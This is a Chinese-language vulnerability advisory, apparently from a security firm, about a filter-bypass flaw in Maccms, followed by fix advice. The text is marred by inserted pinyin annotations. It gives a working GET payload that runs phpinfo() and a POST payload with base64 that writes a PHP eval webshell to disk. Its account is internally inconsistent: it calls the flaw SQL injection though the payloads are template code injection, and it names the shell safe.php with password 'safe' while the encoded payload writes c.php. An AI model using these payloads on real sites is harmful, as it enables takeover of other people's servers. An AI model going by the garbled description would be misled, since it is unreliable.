蘋(píng)果cms系統,是目前很多電影網(wǎng)站都在使用的一套網(wǎng)站系統,開(kāi)源,免費,擴展性較好,支持一鍵采集,偽靜態(tài)化,高并發(fā)的同時(shí)承載,獲得的很多站長(cháng)的喜歡,于近日被網(wǎng)站安全檢測發(fā)現,maccms存在網(wǎng)站漏洞,sql注入盲射獲取數據庫的管理員賬號密碼,關(guān)于該漏洞的詳情,我們仔細分析看下.
蘋(píng)果CMS采用的是php語(yǔ)言開(kāi)發(fā)的代碼,使用的數據庫是mysql類(lèi)型,這種架構是比較常用的,也是比較穩定的,但是在安全方面出現的問(wèn)題是比較多的,這次發(fā)現的是sql注入漏洞,在網(wǎng)站的根目錄下的inc文件里的module目錄下的vod.php代碼如下圖所示:
代碼里的empty($wd函數,在進(jìn)行判斷如果是,或者不是的邏輯過(guò)程當中,會(huì )將前段用戶(hù)訪(fǎng)問(wèn)帶來(lái)的參數,進(jìn)行安全過(guò)濾,我們跟進(jìn)代碼來(lái)追尋到蘋(píng)果CMS的配置文件,在function.php配置文件代碼李看到對網(wǎng)站的所有請求方式包括get、post、cookies的提交方式都強制性的進(jìn)行了安全轉義。網(wǎng)站漏洞問(wèn)題的發(fā)生就在這里.
我們仔細又發(fā)現,maccms使用了360安全提供的防止sql注入攔截代碼。360的防止sql注入是好幾年前開(kāi)發(fā),并公開(kāi)在網(wǎng)絡(luò )上的,已經(jīng)很久沒(méi)有更新維護了并且還存在sql注入代碼繞過(guò)的情況,參數值之間進(jìn)行實(shí)體轉換的時(shí)候,360的sql攔截規則沒(méi)有對空白符以及反斜杠進(jìn)行攔截,導致可以繞過(guò)插入惡意參數,直接請求到蘋(píng)果cms后端數據庫中去,獲取蘋(píng)果CMS的管理員賬號密碼。
我們來(lái)看下如何利用蘋(píng)果CMS的漏洞,從上面漏洞發(fā)生的細節里可以看出,是因為攔截sql注入語(yǔ)句的過(guò)程中存在可以被繞過(guò)的漏洞。我們來(lái)使用%0b,以及空格對代碼進(jìn)行注入,sql語(yǔ)句在拼接中,可以插入反斜杠進(jìn)行單引號的報錯,從而繞過(guò)蘋(píng)果CMS的安全攔截。語(yǔ)句如下:
GET請求:
http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
可以直接看php的具體信息
POST請求
可以直接獲取webshell
http://127.0.0.1/index.PHP?m=vod-search
POST內容如下:
wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
可以直接生成帶有一句話(huà)木馬后門(mén)的代碼,文件名為safe.php,一句話(huà)木馬鏈接密碼是safe.
如何修復蘋(píng)果cms網(wǎng)站漏洞呢?
對網(wǎng)站漏洞的修復我們要知道漏洞產(chǎn)生的原因,以及為何會(huì )繞過(guò)蘋(píng)果CMS的安全過(guò)濾,maccms使用的addslash安全函數,sql中沒(méi)有加單引號的安全防護,in字句也很容易忘記加引號,再一個(gè)后期處理安全過(guò)濾的時(shí)候可以插入單引號,stripslash導致可以加入單引號,編解碼導致繞過(guò)addslash,使用urldecode編碼進(jìn)行注入繞過(guò),根據上面提出的漏洞繞過(guò),我們SINE安全提出漏洞修復的建議是:對URL解碼進(jìn)行雙層的轉義,對get,post,cookies的攔截規則進(jìn)行安全更新,加強空格,以及百分符號的攔截,如果對程序代碼不熟悉的話(huà)建議咨詢(xún)專(zhuān)業(yè)的網(wǎng)站安全公司來(lái)處理解決。